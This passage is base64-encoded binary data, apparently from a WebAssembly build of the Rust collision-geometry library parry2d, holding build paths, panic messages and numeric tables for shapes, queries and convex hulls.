QAACQAAAGiBEABuAAAAuwEAABcAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9wYXJ0aXRpb25pbmcvcWJ2aC90cmF2ZXJzYWwucnMAAHiCEAByAAAATQAAABkAAAB4ghAAcgAAAJoAAAAZAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvcXVlcnkvY2xpcC9jbGlwX2FhYmJfbGluZS5ycwyDEABwAAAAjQAAAA0AAAAMgxAAcAAAAJsAAAANAAAAVGhlIHByb3hpbWl0eSBtYXJnaW4gbXVzdCBiZSBwb3NpdGl2ZSBvciBudWxsLgAAnIMQAC4AAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9jbG9zZXN0X3BvaW50cy9jbG9zZXN0X3BvaW50c19iYWxsX2JhbGwucnPUgxAAhAAAAA8AAAAFAAAAVGhlIGNvbXBvc2l0ZSBzaGFwZSBtdXN0IG5vdCBiZSBlbXB0eS4vVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9jbG9zZXN0X3BvaW50cy9jbG9zZXN0X3BvaW50c19jb21wb3NpdGVfc2hhcGVfc2hhcGUucnMAAI6EEACQAAAAGQAAAAUAAACOhBAAkAAAAIEAAAAhAAAAjoQQAJAAAACCAAAAIQAAAI6EEACQAAAAgwAAACEAAABpbnRlcm5hbCBlcnJvcjogZW50ZXJlZCB1bnJlYWNoYWJsZSBjb2RlL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvcXVlcnkvY2xvc2VzdF9wb2ludHMvY2xvc2VzdF9wb2ludHNfY3Vib2lkX2N1Ym9pZC5yc4iFEACIAAAAUgAAAAUAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9jbG9zZXN0X3BvaW50cy9jbG9zZXN0X3BvaW50c19jdWJvaWRfdHJpYW5nbGUucnMAACCGEACKAAAATQAAAAUAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9jbG9zZXN0X3BvaW50cy9jbG9zZXN0X3BvaW50c19oYWxmc3BhY2Vfc3VwcG9ydF9tYXAucnO8hhAAkAAAAA0AAAAFAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvcXVlcnkvY2xvc2VzdF9wb2ludHMvY2xvc2VzdF9wb2ludHNfc3VwcG9ydF9tYXBfc3VwcG9ydF9tYXAucnMAAFyHEACSAAAAIAAAACQAAAASAQAAGAAAAAQAAAA1AQAANgEAAC9Vc2Vycy9zZWJjcm96ZXQvLmNhcmdvL3JlZ2lzdHJ5L3NyYy9naXRodWIuY29tLTFlY2M2Mjk5ZGI5ZWM4MjMvcGFycnkyZC0wLjEzLjEvc3JjL3F1ZXJ5L2NvbnRhY3QvY29udGFjdF9zdXBwb3J0X21hcF9zdXBwb3J0X21hcC5ycxSIEACEAAAAHgAAACQAAAAVAQAAIAAAAAQAAAAWAQAANwEAADgBAAA5AQAAOgEAABCJEAAQiRAAOAEAADsBAAA8AQAAIAEAACAAAAAEAAAAKQEAAD0BAAA+AQAAPwEAAEABAABQiRAAUIkQAD4BAABBAQAAQgEAABUBAAAgAAAABAAAABUBAAAgAAAABAAAACgBAABDAQAARAEAAEUBAABGAQAAEIkQABCJEABEAQAARwEAAEgBAAAgAQAAIAAAAAQAAAAgAQAAIAAAAAQAAAAhAQAASQEAAEoBAABLAQAATAEAAFCJEABQiRAASgEAAE0BAABOAQAAKgEAAFAAAAAEAAAAKgEAAFAAAAAEAAAAKwEAAE8BAABQAQAAUQEAAFIBAACQiRAAkIkQAFABAABTAQAAVAEAAC9Vc2Vycy9zZWJjcm96ZXQvLmNhcmdvL3JlZ2lzdHJ5L3NyYy9naXRodWIuY29tLTFlY2M2Mjk5ZGI5ZWM4MjMvcGFycnkyZC0wLjEzLjEvc3JjL3F1ZXJ5L2Rpc3RhbmNlL2Rpc3RhbmNlX2NvbXBvc2l0ZV9zaGFwZV9zaGFwZS5yc9CJEACEAAAAFQAAAAUAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9kaXN0YW5jZS9kaXN0YW5jZV9zdXBwb3J0X21hcF9zdXBwb3J0X21hcC5ycwAAZIoQAIYAAAA0AAAAJAAAAC9Vc2Vycy9zZWJjcm96ZXQvLmNhcmdvL3JlZ2lzdHJ5L3NyYy9naXRodWIuY29tLTFlY2M2Mjk5ZGI5ZWM4MjMvcGFycnkyZC0wLjEzLjEvc3JjL3F1ZXJ5L2VwYS9lcGEyLnJzAAAA/IoQAGUAAABAAAAAHQAAAPyKEABlAAAAQAAAADYAAAD8ihAAZQAAAFQAAAAzAAAA/IoQAGUAAABUAAAATAAAAPyKEABlAAAAaAAAAA0AAAD8ihAAZQAAAGkAAAATAAAA/IoQAGUAAAASAQAAGQAAAPyKEABlAAAAEgEAADMAAAD8ihAAZQAAABMBAAAZAAAA/IoQAGUAAAATAQAAMwAAAPyKEABlAAAA4AAAABcAAAD8ihAAZQAAAOEAAAAXAAAA/IoQAGUAAAD0AAAAHQAAAPyKEABlAAAA9AAAADcAAAD8ihAAZQAAAPkAAAAdAAAA/IoQAGUAAAD5AAAANwAAAPyKEABlAAAA/gAAAB0AAAD8ihAAZQAAAP4AAAA3AAAA/IoQAGUAAABbAQAAGgAAAPyKEABlAAAAIgEAABgAAAD8ihAAZQAAADYBAAAiAAAA/IoQAGUAAAAbAQAAIQAAAPyKEABlAAAAwQAAABkAAAD8ihAAZQAAANAAAAAZAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvcXVlcnkvZ2prL2dqay5yc+SMEABkAAAAQwAAAA4AAABhc3NlcnRpb24gZmFpbGVkOiBtaW5fYm91bmQgPT0gbWluX2JvdW5k5IwQAGQAAACMAAAACQAAAAAAAADkjBAAZAAAAE8BAAAJAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvcXVlcnkvZ2prL3Zvcm9ub2lfc2ltcGxleDIucnMAAACkjRAAcQAAACEAAAAXAAAApI0QAHEAAAAzAAAAEQAAAKSNEABxAAAAOQAAAAkAAABsfBAAFAAAAKSNEABxAAAAQAAAAAkAAACkjRAAcQAAAEUAAAAJAAAApI0QAHEAAABGAAAACgAAAKSNEABxAAAATAAAAAkAAACkjRAAcQAAAFIAAAAKAAAAYXNzZXJ0aW9uIGZhaWxlZDogc2VsZi5kaW0gPT0gMgCkjRAAcQAAAHcAAAANAAAApI0QAHEAAAByAAAAFgAAAKSNEABxAAAA2QAAABQAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9pbnRlcnNlY3Rpb25fdGVzdC9pbnRlcnNlY3Rpb25fdGVzdF9zdXBwb3J0X21hcF9zdXBwb3J0X21hcC5yc/COEACYAAAAOQAAACkAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9xdWVyeS9ub25saW5lYXJfdGltZV9vZl9pbXBhY3Qvbm9ubGluZWFyX3RpbWVfb2ZfaW1wYWN0X2NvbXBvc2l0ZV9zaGFwZV9zaGFwZS5ycxIBAAAEAAAABAAAAFUBAABWAQAAVwEAAFgBAABZAQAAWgEAAFsBAABcAQAAXQEAAF4BAAASA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QAAHAAAAAQAAAAcAQAA+QIAAPoCAAD7AgAA/AIAABcBAAAcAAAABAAAABcBAAAcAAAABAAAABwBAAD5AgAA+gIAAPsCAAD8AgAAsKwQALCsEAD6AgAAFwEAABwAAAAEAAAA/QIAAP4CAAD/AgAAAAMAAAEDAAACAwAA7wIAAPACAADxAgAA8gIAAPMCAAD0AgAA9QIAAPYCAAD3AgAA+AIAAFysEAAcAQAAQHkQAPkCAAD6AgAA+wIAAPwCAACQrBAAsKwQALCsEAD6AgAAvKwQAAMDAAAEAwAABQMAAAYDAAAHAwAACAMAAAkDAAAKAwAACwMAACsCAAA/AAAADAMAAHQBAAANAwAAygEAAA4DAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy9zaGFwZS9zaGFyZWRfc2hhcGUucnMAAACkrRAAaQAAAC8AAAAJAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh1Yi5jb20tMWVjYzYyOTlkYjllYzgyMy9wYXJyeTJkLTAuMTMuMS9zcmMvdHJhbnNmb3JtYXRpb24vY29udmV4X2h1bGwyLnJzAAAgrhAAcgAAAA8AAAATAAAAIK4QAHIAAAAdAAAADQAAACCuEAByAAAAPAAAAAwAAAAgrhAAcgAAAEMAAAAVAAAAYXNzZXJ0aW9uIGZhaWxlZDogcG9pbnRzLmxlbigpID49IDIAIK4QAHIAAABZAAAABQAAACCuEAByAAAAYwAAABQAAAAgrhAAcgAAAGMAAAAhAAAAIK4QAHIAAABhAAAADgAAAEZhaWxlZCB0byBidWlsZCB0aGUgMmQgY29udmV4IGh1bGwgb2YgdGhpcyBwb2ludCBjbG91ZC4AOK8QADcAAAAgrhAAcgAAAGoAAAAFAAAAIK4QAHIAAABbAAAADgAAACCuEAByAAAAkwAAABMAAAAgrhAAcgAAAJQAAAATAAAAIK4QAHIAAACuAAAAJgAAACCuEAByAAAAzwAAABQAAAAgrhAAcgAAAM8AAAAhAAAAIK4QAHIAAADgAAAAEwAAACCuEAByAAAA4QAAABMAAAAvVXNlcnMvc2ViY3JvemV0Ly5jYXJnby9yZWdpc3RyeS9zcmMvZ2l0aHViLmNvbS0xZWNjNjI5OWRiOWVjODIzL3BhcnJ5MmQtMC4xMy4xL3NyYy90cmFuc2Zvcm1hdGlvbi9jb252ZXhfaHVsbF91dGlscy5ycwAIsBAAdwAAACkAAAAiAAAAL1VzZXJzL3NlYmNyb3pldC8uY2FyZ28vcmVnaXN0cnkvc3JjL2dpdGh